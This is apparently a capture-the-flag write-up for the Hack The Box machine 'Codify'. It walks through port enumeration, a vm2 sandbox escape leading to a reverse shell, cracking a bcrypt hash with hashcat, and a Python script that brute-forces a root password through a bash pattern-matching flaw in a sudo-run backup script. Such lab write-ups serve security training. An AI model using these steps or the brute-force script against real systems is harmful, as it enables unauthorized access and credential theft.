Codify
Enumeration
curl 10.10.11.239
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://codify.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at 10.10.11.239 Port 80</address>
</body></html>
Let's add the host to /etc/hosts
nmap reports several things opened:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
3000/tcp open http Node.js Express framework
|_http-title: Codify
The port 80 is a webserver that hosts a NodeJS editor to execute NodeJS in a sandboxed scenario.
Port 3000 looks the same.
The sandbox looks like it's using the vm2 library:
The vm2 library is a widely used and trusted tool for sandboxing JavaScript. It adds an extra layer of security to prevent potentially harmful code from causing harm to your system. We take the security and reliability of our platform seriously, and we use vm2 to ensure a safe testing environment for your code.
The sandbox has the following limitations: http://codify.htb/limitations
The editor works by sending a POST request with base64 content:
curl 'http://codify.htb/run' -X POST -H 'Referer: http://codify.htb/editor' -H 'Content-Type: application/json' -H 'Origin: http://codify.htb' --data-raw '{"code":"YQ=="}'
This request belongs to the code a
:
└─$ echo YQ== | base64 -d
a
Foothold
Look at Google for vm2 escape, found this payload: https://security.snyk.io/vuln/SNYK-JS-VM2-5537100
Prepared the script a bit and got it, then send a reverse shell and we're in as svc
user and then improve to a good shell.
Found the user joshua
on /etc/passwd.
Checking the contents of the server, there's the contact
folder which looks like an old nodejs app. It has a sqlite database which contains a users table with an entry for joshua. Let's try to crack the bcrypt hash stored there.
hashcat exfil/hash -m 3200 -a 0 /usr/share/wordlists/rockyou.txt
Found the password for user joshua
, now connect with SSH, and we're in and get can get the user flag.
Privilege escalation
The user joshua
can execute this command as root:
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
In that script, there's one if
statement that checks the user input password with the credentials stored in one file:
if [[ $DB_PASS == $USER_PASS ]]; then
The problem with that is, this if does not perform string comparison, it performs pattern matching. Which means that it USER_PASS
is *
, the if will pass.
The pattern matching will work with any character, for instance let's say the password is password
, if the user provides the password p*
it will pass, so we can slowly bruce-force each character thanks to pattern matching with the following script:
import string
import subprocess
import time
all_characters = list(string.ascii_letters + string.digits)
password = ""
while True:
for char in all_characters:
command = f"echo '{password}{char}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed" in output:
password += char
print(password)
time.sleep(1)
And found the password for root, now we can run su
and provide that password and we got root access.